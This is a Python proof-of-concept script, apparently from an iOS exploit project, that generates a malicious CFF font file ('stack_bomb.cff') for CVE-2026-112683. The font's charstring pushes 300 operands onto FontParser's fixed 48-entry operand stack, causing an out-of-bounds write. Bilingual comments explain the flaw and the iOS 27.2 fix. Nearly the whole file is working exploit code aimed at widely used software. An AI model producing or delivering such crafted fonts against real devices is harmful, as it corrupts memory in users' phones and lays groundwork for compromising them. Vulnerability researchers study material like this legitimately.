95 lines
3.5 KiB
Python
95 lines
3.5 KiB
Python
#!/usr/bin/env python3
|
|
# font.cff · FontParser · charstring 解释器 · CVE-2026-112683
|
|
# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process
|
|
#
|
|
# [zh] CFF Type2 charstring 操作数栈溢出
|
|
# Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数，push 路径不做检查。27.2 补入 Push/Pop 两道栈保护，
|
|
# 并将扫描暂存区的 32 位乘法改为 64 位，同时修正了符号扩展指针。
|
|
#
|
|
# [en] CFF Type2 charstring operand stack overflow
|
|
# The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the
|
|
# pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens
|
|
# the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
|
|
#
|
|
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
|
|
# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112683.swift
|
|
# triggers (run closures) & non-seed builders: CVE-2026-112683.swift in this folder
|
|
|
|
import struct
|
|
|
|
|
|
# --------------------------------------------------------------------------- CFF stack bomb
|
|
def build_cff():
|
|
"""
|
|
Bare CFF with one charstring that pushes 300 operands before endchar.
|
|
FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array;
|
|
27.0 only bounds the *count* on pop paths, the push path walks past the array.
|
|
"""
|
|
def index(items):
|
|
if not items:
|
|
return struct.pack(">H", 0)
|
|
off = 1
|
|
offs = [1]
|
|
for it in items:
|
|
off += len(it)
|
|
offs.append(off)
|
|
off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4))
|
|
out = struct.pack(">H", len(items)) + bytes([off_size])
|
|
for o in offs:
|
|
out += o.to_bytes(off_size, "big")
|
|
out += b"".join(items)
|
|
return out
|
|
|
|
header = bytes([1, 0, 4, 1])
|
|
|
|
name_index = index([b"CinderStackBomb"])
|
|
|
|
# charstring: 300 pushes of 1, then endchar
|
|
cs = bytearray()
|
|
for _ in range(300):
|
|
cs.append(139 + 1) # push small int 1
|
|
cs.append(14) # endchar
|
|
charstrings = index([bytes(cs)])
|
|
|
|
gsubrs = index([])
|
|
strings = index([])
|
|
|
|
# Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets.
|
|
# Two-pass: build with placeholder of the same byte width, then patch.
|
|
def top_dict(cs_off, priv_off, priv_size):
|
|
def enc(v):
|
|
# DICT operand: 29 => 5-byte integer (fixed width, easy patching)
|
|
return b"\x1d" + struct.pack(">i", v)
|
|
d = enc(cs_off) + b"\x11" # CharStrings
|
|
d += enc(priv_size) + enc(priv_off) + b"\x12" # Private
|
|
return d
|
|
|
|
placeholder = top_dict(0, 0, 0)
|
|
top_index = index([placeholder])
|
|
|
|
priv = b"\x00" # trivial private dict (blueValues absent)
|
|
priv_index_data = priv
|
|
|
|
# layout: header | name | top | strings | gsubrs | charstrings | private
|
|
off = len(header) + len(name_index)
|
|
top_off = off
|
|
off += len(top_index)
|
|
off += len(strings)
|
|
off += len(gsubrs)
|
|
cs_off = off
|
|
off += len(charstrings)
|
|
priv_off = off
|
|
|
|
top_index = index([top_dict(cs_off, priv_off, len(priv))])
|
|
out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data
|
|
return out
|
|
|
|
|
|
# --------------------------------------------------------------------------- KTX2
|
|
|
|
if __name__ == "__main__":
|
|
import sys
|
|
out = sys.argv[1] if len(sys.argv) > 1 else "stack_bomb.cff"
|
|
open(out, "wb").write(build_cff())
|
|
print("wrote", out)
|